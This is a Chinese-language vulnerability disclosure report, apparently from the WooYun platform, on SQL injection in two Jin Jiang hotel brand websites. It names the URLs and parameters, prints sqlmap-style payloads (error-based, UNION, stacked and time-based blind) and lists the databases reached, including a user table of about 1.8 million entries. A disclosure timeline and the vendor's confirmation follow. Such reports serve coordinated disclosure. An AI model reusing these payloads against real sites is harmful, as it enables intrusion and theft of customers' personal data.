锦江之星旗下快捷酒店SQL注射合集

漏洞详情

披露状态:

2014-03-01: 细节已通知厂商并且等待厂商处理中
2014-03-06: 厂商已经确认,细节仅向厂商公开
2014-03-16: 细节向核心白帽子及相关领域专家公开
2014-03-26: 细节向普通白帽子公开
2014-04-05: 细节向实习白帽子公开
2014-04-15: 细节向公众公开

简要描述:

SQL

详细说明:

百时快捷酒店:

url:

参数unitId和cityId均未过滤

http://www.bestay.com.cn/Web/Chain/HotelComment.aspx?unitId=8097&cityId=

锦江白玉兰:

http://www.magnotel.com/Inn/chains.aspx?&UnitID=088

漏洞证明:

百时快捷酒店:

Place: GET
Parameter: unitId
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: unitId=8097' AND 2337=CONVERT(INT,(SELECT CHAR(113)+CHAR(115)+CHAR(107)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (2337=2337) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(114)+CHAR(111)+CHAR(104)+CHAR(113))) AND 'HExk'='HExk&cityId=

Type: UNION query
Title: Generic UNION query (NULL) - 9 columns
Payload: unitId=8097' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CHAR(113)+CHAR(115)+CHAR(107)+CHAR(122)+CHAR(113)+CHAR(98)+CHAR(106)+CHAR(87)+CHAR(108)+CHAR(101)+CHAR(113)+CHAR(73)+CHAR(102)+CHAR(82)+CHAR(120)+CHAR(113)+CHAR(114)+CHAR(111)+CHAR(104)+CHAR(113),NULL,NULL,NULL-- &cityId=

Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: unitId=8097'; WAITFOR DELAY '0:0:5'--&cityId=

Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: unitId=8097' WAITFOR DELAY '0:0:5'--&cityId=
---
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
available databases [5]:
[*] JJWEB
[*] master
[*] model
[*] msdb
[*] tempdb



锦200W用户信息:

Database: JJWEB
+--------------------+---------+
| Table | Entries |
+--------------------+---------+
| dbo.JW_UserMsgSite | 1832708 |
+--------------------+---------+



锦江白玉兰:

Place: GET
Parameter: UnitID
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: &UnitID=088'; WAITFOR DELAY '0:0:5'--

Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: &UnitID=088' WAITFOR DELAY '0:0:5'--
---
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008

修复方案:

过滤,修复

版权声明:转载请注明来源 HackBraid@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-03-06 10:23

厂商回复:

已确认,正在修复,谢谢

最新状态:

暂无


漏洞评价: